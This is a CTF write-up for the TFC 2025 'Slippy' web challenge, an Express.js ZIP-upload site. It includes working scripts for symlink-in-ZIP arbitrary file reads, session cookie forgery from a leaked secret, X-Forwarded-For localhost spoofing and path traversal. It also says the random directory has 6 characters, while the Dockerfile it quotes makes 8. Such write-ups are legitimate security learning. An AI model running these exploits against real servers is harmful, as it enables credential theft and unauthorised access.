TFC 2025: WEB - SLIPPY

Slipping Jimmy keeps playing with Finger.

is the description for this web challenge that appeared on The Few Chosen CTF contest on its 2025 rendition. We are presented with a file-uploading website, as well as with its code and Dockerfile attached for viewing.

It's important to note that when launching an instance, it only stayed up for 5 minutes before needing to restart it, so the attack needed to be done in 5 minutes time (except for some "checkpoints" as they were static). The approach presented here is by no means "proper" in terms of automatization, as the payloads were sent manually, but it still managed to work on time.

Part 1: Analysis

Website

When opening the website, we are greeted with a welcome portal that includes:

- Your current session ID
- A button to upload a zip file

It's interesting how explicitly the session ID is shown, so the challenge might be about tampering with this ID via uploading files or some other mechanism.

When uploading a ZIP, we are presented with a list of our files (similar to a repository). We can download the files and see their contents locally. We also get the option to add more files. The uploaded files persist for the same session, though if we change the session ID we'd be using another upload space and thus wouldn't be able to see the previous files. We can see this in `src/routes/index.js`:

```
router.get('/files', (req, res) => {
  const userDir = path.join(__dirname, '../uploads', req.session.userId);
  fs.readdir(userDir, (err, files) => {
    if (err) return res.status(500).send('Error reading files');
    res.render('files', { files });
  });
});
```

Something important to note is that we can upload **any file**, not just ZIPs. However, the server will try to unzip it, and delete the file if it is unsuccessful:

```
router.post('/upload', upload.single('zipfile'), (req, res) => {
    const zipPath = req.file.path;
    const userDir = path.join(__dirname, '../uploads', req.session.userId);

    fs.mkdirSync(userDir, { recursive: true });

    // Command: unzip temp/file.zip -d target_dir
    execFile('unzip', [zipPath, '-d', userDir], (err, stdout, stderr) => {
      fs.unlinkSync(zipPath); // Clean up temp file

      if (err) {
        console.error('Unzip failed:', stderr);
        return res.status(500).send('Unzip error');
      }

      res.redirect('/files');
    });
  });
```

Now looking more at the server-side code, we can see an Express.js server with the following file scheme:

```
.
    Dockerfile
    src
        .env
        middleware
            developmentOnly.js
            session.js
        package.json
        package-lock.json
        public
        routes
            index.js
        server.js
        uploads
        views
        files.ejs
        index.ejs
        styles.ejs
        upload.ejs
```

Dockerfile

First off, the `Dockerfile` sets up a NodeJS container. An important command is this:

```
RUN rand_dir="/$(head /dev/urandom | tr -dc a-z0-9 | head -c 8)"; mkdir "$rand_dir" &&
echo "TFCCTF{Fake_fLag}" > "$rand_dir/flag.txt" && chmod -R +r "$rand_dir"
```

Which alludes to the fact that the flag is contained in a directory, made up of 6 random alphanumeric characters (ex. `/75h8e0b4/flag.txt`), with only read permissions.

src/server.js

The `server.js` does the following:

- Loads the SESSION_SECRET variable stored in the `.env` file (but redacted in the material)
- Sets up a memory store, defines a session data object for the `develop` user, and sets a key-value pair for it on the memory store, with a redacted key name.
- Sets up `express-session` with the given session secret and store.
- Sets up EJS with the views folder files
- Ensures the `uploads` directory exists
- Sets up the routes given in `routes/index.js`
- Loads the server

An interesting bit here is the creation of a special `develop` user. This guy has privileges, as we'll see.

src/routes/index.js

This file has various server endpoints that can be analyzed. Here we also learn that:

- The server loads the custom middleware files on the folder with the same name
- The uploads are sent to the `/tmp/` directory through Multer

With respect to the routes:

- The `/` route sends the welcome view
- The `/upload` route:

  - on a GET request, sends the file upload view
  - on a POST request, expects a ZIP file in a randomized path of `/tmp` and unzips it to `../uploads/<SESSION_ID>/`. If it errors, it deletes the file; if not, it redirects to the files view.
- The `/files` route loads all files in `../uploads/<SESSION_ID>/` and sends their names to the EJS files view.
- The `/files/:filename` route takes the name in the `filename` param, looks up a filename in `../uploads/<SESSION_ID>/`, and sends it for download if it exists.
- The `/debug/files` route works similar to the `/files` route but:
  - calls the `developmentOnly` middleware
  - can read files of any session ID

Particularly, the `/debug/files` route has no checks on path traversal whatsoever:

```
router.get('/debug/files', developmentOnly, (req, res) => {
    const userDir = path.join(__dirname, '../uploads', req.query.session_id);
    fs.readdir(userDir, (err, files) => {
    if (err) return res.status(500).send('Error reading files');
    res.render('files', { files });
  });
});
```

So we can get practically any publicly readable file (including directory names) at our disposal (which includes the `flag.txt`). However, we are limited to the middleware checks.

At this point, it's important to check the middleware files:

src/middleware/session.js

Has a valid user checker:

```
const USER_ID_REGEX = /^[a-f0-9]{16}$/;

function isValidUserId(id) {
  return id === 'develop' || USER_ID_REGEX.test(id);
}
```

If the session `userId` attribute doesn't follow this, it will generate a random one, then make the `../uploads/<SESSION_ID>/` directory.

src/middleware/developmentOnly.js

Will only allow passage if both of these conditions are met: * the session `userId` attribute is `develop` * the request IP is `127.0.0.1`

A grandes rasgos…

Our workflow could look something like:

- Upload a payload that either
  1. Lets us see the redacted data scattered; and/or
  2. Lets us change our user ID to `develop`
- Translate that into a valid session cookie that gives us access to the `develop` user
- Make a `/debug/files` request with a Path Traversal vulnerability to get the randomized directory name
- Make a final `/debug/files` requests with the `flag.txt` file, download it
- Big wins!!!!!!

Trust me, I wasn't this organized in contest :^)

Part 2: Confusion

In this stage I now squander to find a payload that can let me gather data, tamper it or run commands within the server. I tried a bunch of approaches, such as uploading a C shellcode in an archive, XSS payloads, uploading a file with a name that resembles a shell command (like SQL injection but for `sh`), but to no avail did those work.

After a while I thought of something interesting: "what if I could upload a symlink or hard link and the server sent me the contents of the file it read when it opened it?". This would essentially allow me to catch any readable file as I want.

I first determined a file I could test this in, and risked the gamble by going for `/etc/passwd` (if it didn't work I would try other files anyway). I tried running:

```
ln -s /etc/passwd mylink
```

and then archiving this file and sending it. But when I downloaded the result, I would get the contents of *my* `/etc/passwd` file instead of the server's. However I didn't falter to this fail, as I felt confident this could be the way.

Eventually I found this writeup which details precisely what I wished to do. The website noted that sending a link the way I was trying might not work, because the zipping process doesn't preserve the symlink. So it suggested a Python approach to generate the file:

```python
import requests
import io
import zipfile
import stat

def create_zip(target_file):
    payload = io.BytesIO()
    zipInfo = zipfile.ZipInfo('evil.pdf')
    zipInfo.create_system=3
    unix_st_mode = stat.S_IFLNK | stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR | stat.S_IRGRP \
           | stat.S_IWGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IWOTH | stat.S_IXOTH
    zipInfo.external_attr = unix_st_mode << 16
    zipOut = zipfile.ZipFile(payload, 'w', compression=zipfile.ZIP_DEFLATED)
    zipOut.writestr(zipInfo, target_file)
    zipOut.close()
    return payload.getvalue()

with open('newfile.zip','wb') as f:
        f.write(create_zip('/etc/passwd'))
```

This exercise needs to upload a zipped PDF, but I can upload any file really. Anyway, I generated a ZIP with this method and uploaded it. Lo and behold, I obtained the server's `/etc/passwd` file.

Now, I could've tried fetching the `/randchars/flag.txt` file, but I didn't know how I could get the random characters. There could've been a clever way, I just didn't think it through. What I got instead was the `.env` and `server.js` secret, so I got my hold on:

```
...
store.set('amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E', sessionData, err => {
    if (err) console.error('Failed to create develop session:', err);
    else console.log('Development session created!');
  });
```

With this, I could now set the proper cookie in my browser and gain access to the `develop` user. I researched a bit on the `express-session` format and found out it's just the memory store key, with an HMAC signature calculated with the session secret, concatenated and all URL encoded. Thus, I created the following code to generate the cookie:

```
const expressSession = require('express-session');
const MemoryStore = expressSession.MemoryStore;
const crypto = require('crypto');

const SESSION_SECRET = '3df35e5dd772dd98a6feb5475d0459f8e18e08a46f48ec68234173663fca377b';
const DEVELOP_SESSION_ID = 'amwvsLiDgNHm2XXfoynBUNRA2iWoEH5E';

const store = new MemoryStore();

const sessionData = {
    cookie: {
        path: '/',
        httpOnly: true,
        maxAge: 1000 * 60 * 60 * 48
    },
    userId: 'develop'
};

store.set(DEVELOP_SESSION_ID, sessionData, (err) => {
    if (err) {
        console.error('Error setting session:', err);
        return;
    }

    // now generate the signed cookie
    const signature = crypto.createHmac('sha256', SESSION_SECRET)
                            .update(DEVELOP_SESSION_ID)
                            .digest('base64')
                            .replace(/\=+$/, '');

    const cookieValue = `s:${DEVELOP_SESSION_ID}.${signature}`;
    const encodedCookie = encodeURIComponent(cookieValue);

    console.log('Generated cookie:');
    console.log(`connect.sid=${encodedCookie}`);
});
```

```
s%3AamwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE
```

I then placed the cookie in my browser, and it worked! This is one of those aspects that didn't change when booting new instances, so once I had the cookie prepared I could just insert it any time.

Now, I tried using the `/debug/files` route, but still got `Forbidden: Development access only`. I then remembered what was needed for this to work:

> Will only allow passage if **both** of these conditions are met:
>
> > the session `userId` attribute is `develop`
> >
> > the request IP is `127.0.0.1`

I already have the first, but how can I make the second happen? Turns out there was a very subtle line (well, at least for me) in the `server.js` file:

```
app.set('trust proxy', true);
```

Paraphrasing from here, what this essentially means is that the server interprets whatever is in the `X-Forwarded-For` header as the true IP of the client making a request. Thus, I could simply attach this header with the `127.0.0.1` value, to make it seem as if I made the request from localhost and pass the middleware.

I tried this and it effectively worked, so I could actually see files of my other sessions. So the final step was trying the path traversal to finally get the file I wanted. Since the process was already getting tedious, I coded this in Python to make a request to `/`, ask for the random hex chars, and output the final link:

```python
import requests

cookies = {
    "connect.sid": "s%3AamwvsLiDgNHm2XXfoynBUNRA2iWoEH5E.R3H281arLqbqxxVlw9hWgdoQRZpcJElSLSSn6rdnloE"
}

headers = {
    "X-Forwarded-For": "127.0.0.1"
}

url = input("url: ")
dir = "../../../../../../../"

res1 = requests.get(url + "/debug/files", params={"session_id": dir}, cookies=cookies, headers=headers)

print(res1.text)

dir += input("flag dir: ") + "/"

print(f"{url}/debug/files?session_id={dir}")
```

Arguably it's not the best because I still have to manually go to the browser, set the cookie and request header, and download the file, but it worked for my purposes. After visiting the link and doing the extra steps, the server at last sent me the flag file, so I downloaded it and got:

```
TFCCTF{3at_sl1P_h4Ck_r3p3at_5af9f1}
```

This was a great challenge for me! I learned a bunch of facts about Express.js security that otherwise would still be unknown. Even though I could only be considered a newbie compared to some, I still think the effort was commendable and helped me grow. Looking forward to the next instance of this CTF!